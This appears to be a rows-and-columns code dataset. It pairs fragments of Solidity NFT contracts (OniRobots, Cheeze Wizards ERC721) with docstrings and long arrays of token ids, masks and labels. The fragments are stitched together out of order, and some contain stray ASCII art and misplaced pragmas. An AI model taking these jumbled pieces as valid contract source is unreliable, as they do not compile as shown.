* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| ============ External Imports: Inherited Contracts ============ NOTE: we inherit from OpenZeppelin upgradeable contracts because of the proxy structure used for cheaper deploys (the proxies are NOT actually upgradeable) | import {
ReentrancyGuardUpgradeable
__/\\\\\\\\\\\\\_____________________________________________________________/\\\\\\\\\\\\________/\\\\\\\\\__________/\\\\\______
pragma solidity 0.8.5;
} from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
| 1,075,001 | [
1,
14468,
11352,
2221,
4363,
30,
25953,
329,
30131,
422,
1432,
631,
5219,
30,
732,
6811,
628,
3502,
62,
881,
84,
292,
267,
8400,
429,
20092,
2724,
434,
326,
2889,
3695,
1399,
364,
19315,
7294,
5993,
383,
1900,
261,
5787,
13263,
854,
4269,
6013,
8400,
429,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5666,
288,
203,
426,
8230,
12514,
16709,
10784,
429,
203,
972,
19,
13011,
13011,
13011,
64,
21157,
21157,
21157,
12214,
7198,
67,
19,
13011,
13011,
13011,
12214,
19,
13011,
13011,
64,
12214,
972,
19,
13011,
64,
7198,
972,
203,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
25,
31,
203,
97,
628,
8787,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
17,
15097,
429,
19,
7462,
19,
426,
8230,
12514,
16709,
10784,
429,
18,
18281,
14432,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract OniRobots is ERC721, Ownable {
using Counters for Counters.Counter;
// Map the number of tokens per robotId
mapping(uint8 => uint256) public robotCount;
// Map the number of tokens burnt per robotId
mapping(uint8 => uint256) public robotBurnCount;
// Used for generating the tokenId of new NFT minted
Counters.Counter private _tokenIds;
// Map the robotId for each tokenId
mapping(uint256 => uint8) private robotIds;
// Map the robotName for a tokenId
mapping(uint8 => string) private robotNames;
constructor(string memory _baseURI) public ERC721("Oniswap Robots", "OR") {
_setBaseURI(_baseURI);
}
/**
* @dev Get robotId for a specific tokenId.
*/
function getRobotId(uint256 _tokenId) external view returns (uint8) {
return robotIds[_tokenId];
}
/**
* @dev Get the associated robotName for a specific robotId.
*/
function getRobotName(uint8 _robotId)
external
view
returns (string memory)
{
return robotNames[_robotId];
}
/**
* @dev Get the associated robotName for a unique tokenId.
*/
function getRobotNameOfTokenId(uint256 _tokenId)
external
view
returns (string memory)
{
uint8 robotId = robotIds[_tokenId];
return robotNames[robotId];
}
/**
* @dev Mint NFTs. Only the owner can call it.
*/
function mint(
address _to,
string calldata _tokenURI,
uint8 _robotId
) external onlyOwner returns (uint256) {
uint256 newId = _tokenIds.current();
_tokenIds.increment();
robotIds[newId] = _robotId;
robotCount[_robotId] = robotCount[_robotId].add(1);
_mint(_to, newId);
_setTokenURI(newId, _tokenURI);
return newId;
}
/**
* @dev Set a unique name for each robotId. It is supposed to be called once.
*/
function setRobotName(uint8 _robotId, string calldata _name)
external
onlyOwner
{
robotNames[_robotId] = _name;
}
/**
* @dev Burn a NFT token. Callable by owner only.
*/
function burn(uint256 _tokenId) external onlyOwner {
uint8 robotIdBurnt = robotIds[_tokenId];
robotCount[robotIdBurnt] = robotCount[robotIdBurnt].sub(1);
robotBurnCount[robotIdBurnt] = robotBurnCount[robotIdBurnt].add(1);
_burn(_tokenId);
}
} | * @dev Burn a NFT token. Callable by owner only./ | function burn(uint256 _tokenId) external onlyOwner {
uint8 robotIdBurnt = robotIds[_tokenId];
robotCount[robotIdBurnt] = robotCount[robotIdBurnt].sub(1);
robotBurnCount[robotIdBurnt] = robotBurnCount[robotIdBurnt].add(1);
_burn(_tokenId);
}
| 12,771,617 | [
1,
38,
321,
279,
423,
4464,
1147,
18,
10464,
635,
3410,
1338,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
18305,
12,
11890,
5034,
389,
2316,
548,
13,
3903,
1338,
5541,
288,
203,
3639,
2254,
28,
14386,
548,
38,
321,
88,
273,
14386,
2673,
63,
67,
2316,
548,
15533,
203,
3639,
14386,
1380,
63,
28870,
548,
38,
321,
88,
65,
273,
14386,
1380,
63,
28870,
548,
38,
321,
88,
8009,
1717,
12,
21,
1769,
203,
3639,
14386,
38,
321,
1380,
63,
28870,
548,
38,
321,
88,
65,
273,
14386,
38,
321,
1380,
63,
28870,
548,
38,
321,
88,
8009,
1289,
12,
21,
1769,
203,
3639,
389,
70,
321,
24899,
2316,
548,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.5.6 <0.6.0;
/// @title Shared constants used throughout the Cheeze Wizards contracts
contract WizardConstants {
// Wizards normally have their affinity set when they are first created,
// but for example Exclusive Wizards can be created with no set affinity.
// In this case the affinity can be set by the owner.
uint8 internal constant ELEMENT_NOTSET = 0; //000
// A neutral Wizard has no particular strength or weakness with specific
// elements.
uint8 internal constant ELEMENT_NEUTRAL = 1; //001
// The fire, water and wind elements are used both to reflect an affinity
// of Elemental Wizards for a specific element, and as the moves a
// Wizard can make during a duel.
// Note thta if these values change then `moveMask` and `moveDelta` in
// ThreeAffinityDuelResolver would need to be updated accordingly.
uint8 internal constant ELEMENT_FIRE = 2; //010
uint8 internal constant ELEMENT_WATER = 3; //011
uint8 internal constant ELEMENT_WIND = 4; //100
uint8 internal constant MAX_ELEMENT = ELEMENT_WIND;
}
/// @title ERC165Query example
/// @notice see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
contract ERC165Query {
bytes4 public constant _INTERFACE_ID_INVALID = 0xffffffff;
bytes4 public constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
function doesContractImplementInterface(
address _contract,
bytes4 _interfaceId
)
public
view
returns (bool)
{
uint256 success;
uint256 result;
(success, result) = noThrowCall(_contract, _INTERFACE_ID_ERC165);
if ((success == 0) || (result == 0)) {
return false;
}
(success, result) = noThrowCall(_contract, _INTERFACE_ID_INVALID);
if ((success == 0) || (result != 0)) {
return false;
}
(success, result) = noThrowCall(_contract, _interfaceId);
if ((success == 1) && (result == 1)) {
return true;
}
return false;
}
function noThrowCall(
address _contract,
bytes4 _interfaceId
)
internal
view
returns (
uint256 success,
uint256 result
)
{
bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, _interfaceId);
// solhint-disable-next-line no-inline-assembly
assembly { // solium-disable-line security/no-inline-assembly
let encodedParams_data := add(0x20, encodedParams)
let encodedParams_size := mload(encodedParams)
let output := mload(0x40) // Find empty storage location using "free memory pointer"
mstore(output, 0x0)
success := staticcall(
30000, // 30k gas
_contract, // To addr
encodedParams_data,
encodedParams_size,
output,
0x20 // Outputs are 32 bytes long
)
result := mload(output) // Load the result
}
}
}
/**
* @title IERC165
* @dev https://eips.ethereum.org/EIPS/eip-165
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safeTransfer`. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
/// @title ERC165Interface
/// @dev https://eips.ethereum.org/EIPS/eip-165
interface ERC165Interface {
/// @notice Query if a contract implements an interface
/// @param interfaceId The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/// Utility library of inline functions on address payables.
/// Modified from original by OpenZeppelin.
contract Address {
/// @notice Returns whether the target address is a contract.
/// @dev This function will return false if invoked during the constructor of a contract,
/// as the code is not actually created until after the constructor finishes.
/// @param account address of the account to check
/// @return whether the target address is a contract
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) } // solium-disable-line security/no-inline-assembly
return size > 0;
}
}
/// @title Wizard Non-Fungible Token
/// @notice The basic ERC-721 functionality for storing Cheeze Wizard NFTs.
/// Derived from: https://github.com/OpenZeppelin/openzeppelin-solidity/tree/v2.2.0
contract WizardNFT is ERC165Interface, IERC721, WizardConstants, Address {
/// @notice Transfer of a Wizard between different owners.
event Transfer(address from, address to, uint256 wizardId);
/// @notice Approval for another address to transfer a Wizard.
event Approval(address owner, address approved, uint256 wizardId);
/// @notice Approval for another address to transfer all Wizards owned by a single address.
event ApprovalForAll(address owner, address operator, bool approved);
/// @notice Emitted when a wizard token is created.
event WizardConjured(uint256 wizardId, uint8 affinity, uint256 innatePower);
/// @notice Emitted when a Wizard's affinity is set. This only applies for
/// Exclusive Wizards who can have the ELEMENT_NOT_SET affinity,
/// and should only happen once for each Wizard.
event WizardAffinityAssigned(uint256 wizardId, uint8 affinity);
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 internal constant _ERC721_RECEIVED = 0x150b7a02;
/// @dev The base Wizard structure.
/// Designed to fit in two words.
struct Wizard {
// NOTE: Changing the order or meaning of any of these fields requires an update
// to the _createWizard() function which assumes a specific order for these fields.
uint8 affinity;
uint88 innatePower;
address owner;
bytes32 metadata;
}
// Mapping from Wizard ID to Wizard struct
mapping (uint256 => Wizard) public wizardsById;
// Mapping from Wizard ID to address approved to control them
mapping (uint256 => address) private wizardApprovals;
// Mapping from owner address to number of owned Wizards
mapping (address => uint256) internal ownedWizardsCount;
// Mapping from owner to Wizard controllers
mapping (address => mapping (address => bool)) private _operatorApprovals;
/// @dev 0x80ac58cd ===
/// bytes4(keccak256('balanceOf(address)')) ^
/// bytes4(keccak256('ownerOf(uint256)')) ^
/// bytes4(keccak256('approve(address,uint256)')) ^
/// bytes4(keccak256('getApproved(uint256)')) ^
/// bytes4(keccak256('setApprovalForAll(address,bool)')) ^
/// bytes4(keccak256('isApprovedForAll(address,address)')) ^
/// bytes4(keccak256('transferFrom(address,address,uint256)')) ^
/// bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
/// bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/// @notice Query if a contract implements an interface
/// @param interfaceId The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
function supportsInterface(bytes4 interfaceId) public view returns (bool) {
return
interfaceId == this.supportsInterface.selector || // ERC165
interfaceId == _INTERFACE_ID_ERC721; // ERC721
}
/// @notice Gets the number of Wizards owned by the specified address.
/// @param owner Address to query the balance of.
/// @return uint256 representing the amount of Wizards owned by the address.
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return ownedWizardsCount[owner];
}
/// @notice Gets the owner of the specified Wizard
/// @param wizardId ID of the Wizard to query the owner of
/// @return address currently marked as the owner of the given Wizard
function ownerOf(uint256 wizardId) public view returns (address) {
address owner = wizardsById[wizardId].owner;
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/// @notice Approves another address to transfer the given Wizard
/// The zero address indicates there is no approved address.
/// There can only be one approved address per Wizard at a given time.
/// Can only be called by the Wizard owner or an approved operator.
/// @param to address to be approved for the given Wizard
/// @param wizardId ID of the Wizard to be approved
function approve(address to, uint256 wizardId) public {
address owner = ownerOf(wizardId);
require(to != owner, "ERC721: approval to current owner");
require(
msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
wizardApprovals[wizardId] = to;
emit Approval(owner, to, wizardId);
}
/// @notice Gets the approved address for a Wizard, or zero if no address set
/// Reverts if the Wizard does not exist.
/// @param wizardId ID of the Wizard to query the approval of
/// @return address currently approved for the given Wizard
function getApproved(uint256 wizardId) public view returns (address) {
require(_exists(wizardId), "ERC721: approved query for nonexistent token");
return wizardApprovals[wizardId];
}
/// @notice Sets or unsets the approval of a given operator.
/// An operator is allowed to transfer all Wizards of the sender on their behalf.
/// @param to operator address to set the approval
/// @param approved representing the status of the approval to be set
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/// @notice Tells whether an operator is approved by a given owner.
/// @param owner owner address which you want to query the approval of
/// @param operator operator address which you want to query the approval of
/// @return bool whether the given operator is approved by the given owner
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/// @notice Transfers the ownership of a given Wizard to another address.
/// Usage of this method is discouraged, use `safeTransferFrom` whenever possible.
/// Requires the msg.sender to be the owner, approved, or operator.
/// @param from current owner of the Wizard.
/// @param to address to receive the ownership of the given Wizard.
/// @param wizardId ID of the Wizard to be transferred.
function transferFrom(address from, address to, uint256 wizardId) public {
require(_isApprovedOrOwner(msg.sender, wizardId), "ERC721: transfer caller is not owner nor approved");
_transferFrom(from, to, wizardId);
}
/// @notice Safely transfers the ownership of a given Wizard to another address
/// If the target address is a contract, it must implement `onERC721Received`,
/// which is called upon a safe transfer, and return the magic value
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
/// the transfer is reverted.
/// Requires the msg.sender to be the owner, approved, or operator.
/// @param from current owner of the Wizard.
/// @param to address to receive the ownership of the given Wizard.
/// @param wizardId ID of the Wizard to be transferred.
function safeTransferFrom(address from, address to, uint256 wizardId) public {
safeTransferFrom(from, to, wizardId, "");
}
/// @notice Safely transfers the ownership of a given Wizard to another address
/// If the target address is a contract, it must implement `onERC721Received`,
/// which is called upon a safe transfer, and return the magic value
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
/// the transfer is reverted.
/// Requires the msg.sender to be the owner, approved, or operator
/// @param from current owner of the Wizard.
/// @param to address to receive the ownership of the given Wizard.
/// @param wizardId ID of the Wizard to be transferred.
/// @param _data bytes data to send along with a safe transfer check
function safeTransferFrom(address from, address to, uint256 wizardId, bytes memory _data) public {
transferFrom(from, to, wizardId);
require(_checkOnERC721Received(from, to, wizardId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/// @notice Returns whether the specified Wizard exists.
/// @param wizardId ID of the Wizard to query the existence of..
/// @return bool whether the Wizard exists.
function _exists(uint256 wizardId) internal view returns (bool) {
address owner = wizardsById[wizardId].owner;
return owner != address(0);
}
/// @notice Returns whether the given spender can transfer a given Wizard.
/// @param spender address of the spender to query
/// @param wizardId ID of the Wizard to be transferred
/// @return bool whether the msg.sender is approved for the given Wizard,
/// is an operator of the owner, or is the owner of the Wizard.
function _isApprovedOrOwner(address spender, uint256 wizardId) internal view returns (bool) {
require(_exists(wizardId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(wizardId);
return (spender == owner || getApproved(wizardId) == spender || isApprovedForAll(owner, spender));
}
/** @dev Internal function to create a new Wizard; reverts if the Wizard ID is taken.
* NOTE: This function heavily depends on the internal format of the Wizard struct
* and should always be reassessed if anything about that structure changes.
* @param wizardId ID of the new Wizard.
* @param owner The address that will own the newly conjured Wizard.
* @param innatePower The power level associated with the new Wizard.
* @param affinity The elemental affinity of the new Wizard.
*/
function _createWizard(uint256 wizardId, address owner, uint88 innatePower, uint8 affinity) internal {
require(owner != address(0), "ERC721: mint to the zero address");
require(!_exists(wizardId), "ERC721: token already minted");
require(wizardId > 0, "No 0 token allowed");
require(innatePower > 0, "Wizard power must be non-zero");
// Create the Wizard!
wizardsById[wizardId] = Wizard({
affinity: affinity,
innatePower: uint88(innatePower),
owner: owner,
metadata: 0
});
ownedWizardsCount[owner]++;
// Tell the world!
emit Transfer(address(0), owner, wizardId);
emit WizardConjured(wizardId, affinity, innatePower);
}
/// @notice Internal function to burn a specific Wizard.
/// Reverts if the Wizard does not exist.
/// Deprecated, use _burn(uint256) instead.
/// @param owner owner of the Wizard to burn.
/// @param wizardId ID of the Wizard being burned
function _burn(address owner, uint256 wizardId) internal {
require(ownerOf(wizardId) == owner, "ERC721: burn of token that is not own");
_clearApproval(wizardId);
ownedWizardsCount[owner]--;
// delete the entire object to recover the most gas
delete wizardsById[wizardId];
// required for ERC721 compatibility
emit Transfer(owner, address(0), wizardId);
}
/// @notice Internal function to burn a specific Wizard.
/// Reverts if the Wizard does not exist.
/// @param wizardId ID of the Wizard being burned
function _burn(uint256 wizardId) internal {
_burn(ownerOf(wizardId), wizardId);
}
/// @notice Internal function to transfer ownership of a given Wizard to another address.
/// As opposed to transferFrom, this imposes no restrictions on msg.sender.
/// @param from current owner of the Wizard.
/// @param to address to receive the ownership of the given Wizard
/// @param wizardId ID of the Wizard to be transferred
function _transferFrom(address from, address to, uint256 wizardId) internal {
require(ownerOf(wizardId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(wizardId);
ownedWizardsCount[from]--;
ownedWizardsCount[to]++;
wizardsById[wizardId].owner = to;
emit Transfer(from, to, wizardId);
}
/// @notice Internal function to invoke `onERC721Received` on a target address.
/// The call is not executed if the target address is not a contract
/// @param from address representing the previous owner of the given Wizard
/// @param to target address that will receive the Wizards.
/// @param wizardId ID of the Wizard to be transferred
/// @param _data bytes optional data to send along with the call
/// @return bool whether the call correctly returned the expected magic value
function _checkOnERC721Received(address from, address to, uint256 wizardId, bytes memory _data)
internal returns (bool)
{
if (!isContract(to)) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, wizardId, _data);
return (retval == _ERC721_RECEIVED);
}
/// @notice Private function to clear current approval of a given Wizard.
/// @param wizardId ID of the Wizard to be transferred
function _clearApproval(uint256 wizardId) private {
if (wizardApprovals[wizardId] != address(0)) {
wizardApprovals[wizardId] = address(0);
}
}
}
contract WizardGuildInterfaceId {
bytes4 internal constant _INTERFACE_ID_WIZARDGUILD = 0x41d4d437;
}
/// @title The public interface of the Wizard Guild
/// @notice The methods listed in this interface (including the inherited ERC-721 interface),
/// make up the public interface of the Wizard Guild contract. Any contracts that wish
/// to make use of Cheeze Wizard NFTs (such as Cheeze Wizards Tournaments!) should use
/// these methods to ensure they are working correctly with the base NFTs.
contract WizardGuildInterface is IERC721, WizardGuildInterfaceId {
/// @notice Returns the information associated with the given Wizard
/// owner - The address that owns this Wizard
/// innatePower - The innate power level of this Wizard, set when minted and entirely
/// immutable
/// affinity - The Elemental Affinity of this Wizard. For most Wizards, this is set
/// when they are minted, but some exclusive Wizards are minted with an affinity
/// of 0 (ELEMENT_NOTSET). A Wizard with an NOTSET affinity should NOT be able
/// to participate in Tournaments. Once the affinity of a Wizard is set to a non-zero
/// value, it can never be changed again.
/// metadata - A 256-bit hash of the Wizard's metadata, which is stored off chain. This
/// contract doesn't specify format of this hash, nor the off-chain storage mechanism
/// but, let's be honest, it's probably an IPFS SHA-256 hash.
///
/// NOTE: Series zero Wizards have one of four Affinities: Neutral (1), Fire (2), Water (3)
/// or Air (4, sometimes called "Wind" in the code). Future Wizard Series may have
/// additional Affinities, and clients of this API should be prepared for that
/// eventuality.
function getWizard(uint256 id) external view returns (address owner, uint88 innatePower, uint8 affinity, bytes32 metadata);
/// @notice Sets the affinity for a Wizard that doesn't already have its elemental affinity chosen.
/// Only usable for Exclusive Wizards (all non-Exclusives must have their affinity chosen when
/// conjured.) Even Exclusives can't change their affinity once it's been chosen.
///
/// NOTE: This function can only be called by the series minter, and (therefore) only while the
/// series is open. A Wizard that has no affinity when a series is closed will NEVER have an Affinity.
/// BTW- This implies that a minter is responsible for either never minting ELEMENT_NOTSET
/// Wizards, or having some public mechanism for a Wizard owner to set the Affinity after minting.
/// @param wizardId The id of the wizard
/// @param newAffinity The new affinity of the wizard
function setAffinity(uint256 wizardId, uint8 newAffinity) external;
/// @notice A function to be called that conjures a whole bunch of Wizards at once! You know how
/// there's "a pride of lions", "a murder of crows", and "a parliament of owls"? Well, with this
/// here function you can conjure yourself "a stench of Cheeze Wizards"!
///
/// Unsurprisingly, this method can only be called by the registered minter for a Series.
/// @param powers the power level of each wizard
/// @param affinities the Elements of the wizards to create
/// @param owner the address that will own the newly created Wizards
function mintWizards(
uint88[] calldata powers,
uint8[] calldata affinities,
address owner
) external returns (uint256[] memory wizardIds);
/// @notice A function to be called that conjures a series of Wizards in the reserved ID range.
/// @param wizardIds the ID values to use for each Wizard, must be in the reserved range of the current Series
/// @param affinities the Elements of the wizards to create
/// @param powers the power level of each wizard
/// @param owner the address that will own the newly created Wizards
function mintReservedWizards(
uint256[] calldata wizardIds,
uint88[] calldata powers,
uint8[] calldata affinities,
address owner
) external;
/// @notice Sets the metadata values for a list of Wizards. The metadata for a Wizard can only be set once,
/// can only be set by the COO or Minter, and can only be set while the Series is still open. Once
/// a Series is closed, the metadata is locked forever!
/// @param wizardIds the ID values of the Wizards to apply metadata changes to.
/// @param metadata the raw metadata values for each Wizard. This contract does not define how metadata
/// should be interpreted, but it is likely to be a 256-bit hash of a complete metadata package
/// accessible via IPFS or similar.
function setMetadata(uint256[] calldata wizardIds, bytes32[] calldata metadata) external;
/// @notice Returns true if the given "spender" address is allowed to manipulate the given token
/// (either because it is the owner of that token, has been given approval to manage that token)
function isApprovedOrOwner(address spender, uint256 tokenId) external view returns (bool);
/// @notice Verifies that a given signature represents authority to control the given Wizard ID,
/// reverting otherwise. It handles three cases:
/// - The simplest case: The signature was signed with the private key associated with
/// an external address that is the owner of this Wizard.
/// - The signature was generated with the private key associated with an external address
/// that is "approved" for working with this Wizard ID. (See the Wizard Guild and/or
/// the ERC-721 spec for more information on "approval".)
/// - The owner or approval address (as in cases one or two) is a smart contract
/// that conforms to ERC-1654, and accepts the given signature as being valid
/// using its own internal logic.
///
/// NOTE: This function DOES NOT accept a signature created by an address that was given "operator
